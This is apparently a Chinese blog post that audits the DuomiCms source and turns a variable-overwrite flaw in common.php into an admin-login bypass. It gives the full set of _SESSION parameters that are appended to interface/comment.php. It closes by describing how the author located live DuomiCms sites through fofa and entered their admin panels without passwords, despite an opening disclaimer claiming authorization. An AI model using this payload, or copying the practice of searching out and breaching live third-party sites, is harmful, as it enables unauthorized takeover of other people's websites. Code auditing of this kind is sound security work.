|
声明:本次实践是在合法授权情况下进行,数据已经全部加密,主要是提供思路交流学习,请勿用于任何非法活动,否则后果自负。 本地代码走查
本次白盒代码测试的cms是DuomiCms,这次使用Seay工具进行代码审查,下载DuomiCms源码,然后工具加载。
先全局搜索危险函数,依次排查;
extract();//把数组编程变量
parser_str();//把字符串变成变量
$$; //可变变量,将变量的值读出来然后再赋值为变量在函数定位后,在文件中依次寻找有通用性的文件后缀内容,如下所示;
//此类后缀的文件一般是函数库
common.func
.func.
.class.
.inc.发现符合条件的文件为/duomiphp/common.php.
<?php
error_reporting(0);
if(is_file($_SERVER[&#39;DOCUMENT_ROOT&#39;].&#39;/duomiphp/webscan.php&#39;)){require_once($_SERVER[&#39;DOCUMENT_ROOT&#39;].&#39;/duomiphp/webscan.php&#39;);
}
define(&#39;duomi_INC&#39;, preg_replace(&#34;|[/\]{1,}|&#34;,&#39;/&#39;,dirname(__FILE__) ) );
define(&#39;duomi_ROOT&#39;, preg_replace(&#34;|[/\]{1,}|&#34;,&#39;/&#39;,substr(duomi_INC,0,-8) ) );
define(&#39;duomi_DATA&#39;, duomi_ROOT.&#39;/data&#39;);
if(PHP_VERSION < &#39;4.1.0&#39;) {
$_GET = &$HTTP_GET_VARS;
$_POST = &$HTTP_POST_VARS;
$_COOKIE = &$HTTP_COOKIE_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
$_ENV = &$HTTP_ENV_VARS;
$_FILES = &$HTTP_POST_FILES;
}
$starttime = microtime();
require_once(duomi_INC.&#39;/common.func.php&#39;);
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi(&#39;^(cfg_|GLOBALS)&#39;,$_k) && !isset($_COOKIE[$_k]) )
{
exit(&#39;Request var not allow!&#39;);
}
}
function _RunMagicQuotes(&$svar) {
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array(&#39;_GET&#39;,&#39;_POST&#39;,&#39;_COOKIE&#39;) as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}进一步定位其中的危险函数如下,可以通过该方式来通过传参来造出变量!(当然造传参的时候注意规避上面的几个if条件,不要跳进去),因此我的思路是能不能找到session对应的文件,然后模拟admin的session进行传参实现登陆呢?因此下载duomiCMS本地实现下。
foreach(Array(&#39;_GET&#39;,&#39;_POST&#39;,&#39;_COOKIE&#39;) as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}本地搭建CMS,访问后台页面,发现登陆成功是通过admin/login.php文件实现的。
【相关技术文档】 访问admin/login.php文件进行白盒走查。
<?php
require_once(dirname(__FILE__).&#39;/../duomiphp/common.php&#39;);
require_once(duomi_INC.&#34;/check.admin.php&#34;);
if(empty($dopost))
{
$dopost = &#39;&#39;;
}
//检测安装目录安全性
if( is_dir(dirname(__FILE__).&#39;/../install&#39;) )
{
if(!file_exists(dirname(__FILE__).&#39;/../install/install_lock.txt&#39;) )
{ $fp = fopen(dirname(__FILE__).&#39;/../install/install_lock.txt&#39;, &#39;w&#39;) or die(&#39;安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!&#39;); fwrite($fp,&#39;ok&#39;); fclose($fp);
}
//为了防止未知安全性问题,强制禁用安装程序的文件
if( file_exists(&#34;../install/index.php&#34;) ) {
@rename(&#34;../install/index.php&#34;, &#34;../install/index.php.bak&#34;);
}
}
//检测后台目录是否更名
$cururl = GetCurUrl();
if(m_eregi(&#39;/admin/login&#39;,$cururl))
{
$redmsg = &#39;<div style=&#34;color:#ff0000;font-size:14px;background:#fff;padding:5px 0&#34;>后台默认路径/admin建议及时修改,修改后会更安全!</div>&#39;;
}
else
{
$redmsg = &#39;&#39;;
}
//登录检测
$admindirs = explode(&#39;/&#39;,str_replace(&#34;\&#34;,&#39;/&#39;,dirname(__FILE__)));
$admindir = $admindirs[count($admindirs)-1];
if($dopost==&#39;login&#39;)
{
$validate = empty($validate) ? &#39;&#39; : strtolower(trim($validate));
$svali = strtolower(GetCkVdValue());
if($validate==&#39;&#39; || $validate != $svali)
{
ResetVdValue();
ShowMsg(&#39;验证码不正确!&#39;,&#39;-1&#39;);
exit();
}
else
{
$cuserLogin = new userLogin($admindir);
if(!empty($userid) && !empty($pwd))
{
$res = $cuserLogin->checkUser($userid,$pwd);
//success
if($res==1)
{
$cuserLogin->keepUser();
if(!empty($gotopage))
{
ShowMsg(&#39;成功登录,正在转向管理管理主页!&#39;,$gotopage);
exit();
}
else
{
ShowMsg(&#39;成功登录,正在转向管理管理主页!&#39;,&#34;index.php&#34;);
exit();
}
}
//error
else if($res==-1)
{
ShowMsg(&#39;你的用户名不存在!&#39;,&#39;-1&#39;);
exit();
}
else
{
ShowMsg(&#39;你的密码错误!&#39;,&#39;-1&#39;);
exit();
}
}
//password empty
else
{
ShowMsg(&#39;用户和密码没填写完整!&#39;,&#39;-1&#39;);
exit();
}
}
}
include(&#39;html/login.htm&#39;);
?>其中这段比较敏感,因为会求情一个叫keepUser()的函数,因此进一步定位该函数;
$cuserLogin->keepUser();
if(!empty($gotopage))
{
ShowMsg(&#39;成功登录,正在转向管理管理主页!&#39;,$gotopage);
exit();
}
else
{
ShowMsg(&#39;成功登录,正在转向管理管理主页!&#39;,&#34;index.php&#34;);
exit();
}进入/duomiphp/check.admin.php,定位该函数,发现后端是通过前端传入的session,分别取对应的参数分别作为userID,groupid和userName写入后台叫admincachefile的文件中。
//保持用户的会话状态
//成功返回 1 ,失败返回 -1
function keepUser() {
if($this->userID!=&#34;&#34;&&$this->groupid!=&#34;&#34;)
{
global $admincachefile;
$_SESSION[$this->keepUserIDTag] = $this->userID;
$_SESSION[$this->keepgroupidTag] = $this->groupid;
$_SESSION[$this->keepUserNameTag] = $this->userName;
$fp = fopen($admincachefile,&#39;w&#39;);
fwrite($fp,&#39;<&#39;.&#39;?php $admin_path =&#39;.&#34; &#39;{$this->adminDir}&#39;; ?&#34;.&#39;>&#39;);
fclose($fp);
return 1;
}
else
{
return -1;
}
}那我这样就取巧一下,通过登陆的时候,页面直接先返回对应的session,因此在登录的代码中插桩,路径在/admin/login.php
测试登录后,果然返回了我所需要的session值;
array(5) { [&#34;duomi_ckstr&#34;]=> string(4) &#34;kwye&#34; [&#34;duomi_ckstr_last&#34;]=> string(0) &#34;&#34; [&#34;duomi_admin_id&#34;]=> string(1) &#34;1&#34; [&#34;duomi_group_id&#34;]=> string(1) &#34;1&#34; [&#34;duomi_admin_name&#34;]=> string(5) &#34;admin&#34;
}那我现在的思路就是在线上渗透的时候,我把该session上传来完成登录。由于完成该方案是需要页面中有session_start()函数在代码最上方执行,因此项目中搜索定位,/interface/comment.php文件满足要求;
<?php
session_start();
require_once(&#34;../duomiphp/common.php&#34;);
require_once(duomi_INC.&#39;/core.class.php&#39;);
AjaxHead();
header(&#39;Content-Type:text/html;charset=UTF-8&#39;);
if($cfg_gbookstart==&#39;0&#39;){
echo &#39;对不起,评论暂时关闭&#39;;
exit();
}
$itype=$type;
$itype=is_numeric($itype)?$itype:0;
if(!isset($action))
{
$action = &#39;&#39;;
}
$ischeck = $cfg_feedbackcheck==&#39;Y&#39; ? 0 : 1;
$id = $_REQUEST[&#39;id&#39;];
$id = (isset($id) && is_numeric($id)) ? $id : 0;
$page=empty($page) ? 1 : intval($page);
if($page==0) $page=1;
if(empty($id))
{
echo &#34;err&#34;;
exit();
}
?>
<iframe id=&#34;parentframe&#34; width=&#34;100%&#34; frameborder=&#34;0&#34; scrolling=&#34;no&#34; src=&#34;/<?php echo $GLOBALS[&#39;cfg_cmspath&#39;]; ?>interface/comment/comment.html?id=<?php echo $id?>&type=<?php echo $itype?>&iscaptcha=<?php echo $GLOBALS[&#39;cfg_feedback_ck&#39;]; ?>&islogin=<?php echo (!empty($_SESSION[&#39;duomi_user_auth&#39;])?1:0) ;?>&title=&#34; marginheight=&#34;0&#34; marginwidth=&#34;0&#34; name=&#34;comment&#34; style=&#34;height:auto&#34;></iframe>其中还包含文件require_once(&#34;../duomiphp/common.php&#34;);因此可以进行传参,将session传进去。
_SESSION[duomi_ckstr]=kwye&
_SESSION[duomi_ckstr_last]=&
_SESSION[duomi_admin_id]=1&
_SESSION[duomi_group_id]=1&
_SESSION[duomi_admin_name]=admin然后作为传参拼接在触发路径后进行访问:
然后再次访问后台主页,发现不需要登陆就能进入后台(因为在后台塞进session的时候,php框架会自动给浏览器塞入对应的cookie,从而不需要密码也能登陆),本地渗透测试成功,接下来进行线上复现。
线上渗透
通过fofa搜索对应版本的duomicms,找到测试目标站点;
在域名后拼接一样的session值访问,一把梭;
发现无需密码,直接进入后台,线上渗透成功。 |
|